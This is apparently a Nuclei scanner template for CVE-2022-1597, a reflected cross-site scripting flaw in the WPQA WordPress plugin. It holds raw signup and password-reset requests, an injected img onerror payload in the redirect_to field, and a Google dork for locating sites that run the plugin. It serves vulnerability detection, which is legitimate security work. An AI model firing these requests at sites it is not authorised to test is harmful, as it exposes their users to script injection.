2022-05-19 18:25:59 +00:00
|
|
|
id: CVE-2022-1597
|
2022-05-17 08:26:45 +00:00
|
|
|
|
|
|
|
info:
|
|
|
|
name: WPQA < 5.4 - Reflected Cross-Site Scripting
|
|
|
|
author: veshraj
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
The plugin, used as a companion for the Discy and Himer themes,
|
|
|
|
does not sanitise and escape a parameter on its reset password
|
|
|
|
form which makes it possible to perform reflected XSS.
|
|
|
|
reference:
|
|
|
|
- https://wpscan.com/vulnerability/faff9484-9fc7-4300-bdad-9cd8a30a9a4e
|
|
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1597
|
2022-05-18 20:58:07 +00:00
|
|
|
classification:
|
2022-06-15 07:24:08 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
2022-05-19 18:25:59 +00:00
|
|
|
cve-id: CVE-2022-1597
|
2022-06-15 07:24:08 +00:00
|
|
|
cwe-id: CWE-79
|
2022-05-17 12:14:27 +00:00
|
|
|
metadata:
|
|
|
|
google-dork: inurl:/wp-content/plugins/wpqa
|
2022-06-15 07:24:08 +00:00
|
|
|
verified: "true"
|
2022-05-17 12:14:27 +00:00
|
|
|
tags: xss,wordpress,wp-plugin,wp,cve,cve2022,wpqa
|
2022-05-17 08:26:45 +00:00
|
|
|
|
|
|
|
variables:
|
|
|
|
user: "{{to_lower(rand_base(5))}}"
|
|
|
|
pass: "{{user}}{{to_lower(rand_base(3))}}"
|
2022-05-17 12:14:27 +00:00
|
|
|
redirect_to: '"><img src=x onerror=alert(document.domain)>'
|
2022-05-17 08:26:45 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
2022-05-17 08:31:13 +00:00
|
|
|
- |
|
|
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2022-05-17 08:26:45 +00:00
|
|
|
|
2022-05-17 12:14:27 +00:00
|
|
|
user_name={{user}}&email={{user}}@{{Host}}&pass1={{pass}}&pass2={{pass}}&phone={{rand_text_numeric(10)}}&agree_terms=on&form_type=wpqa-signup&action=wpqa_ajax_signup_process
|
2022-05-17 08:26:45 +00:00
|
|
|
|
2022-05-17 08:31:13 +00:00
|
|
|
- |
|
|
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2022-05-17 08:26:45 +00:00
|
|
|
|
2022-05-17 08:31:13 +00:00
|
|
|
user_mail={{user}}@{{Host}}&form_type=wpqa_forget&action=wpqa_ajax_password_process&redirect_to={{url_encode(redirect_to)}}
|
2022-05-17 08:26:45 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2022-05-17 12:14:27 +00:00
|
|
|
- '{{redirect_to}}'
|
|
|
|
- '"success":1'
|
|
|
|
condition: and
|
2022-05-17 08:26:45 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2022-05-17 12:14:27 +00:00
|
|
|
- 200
|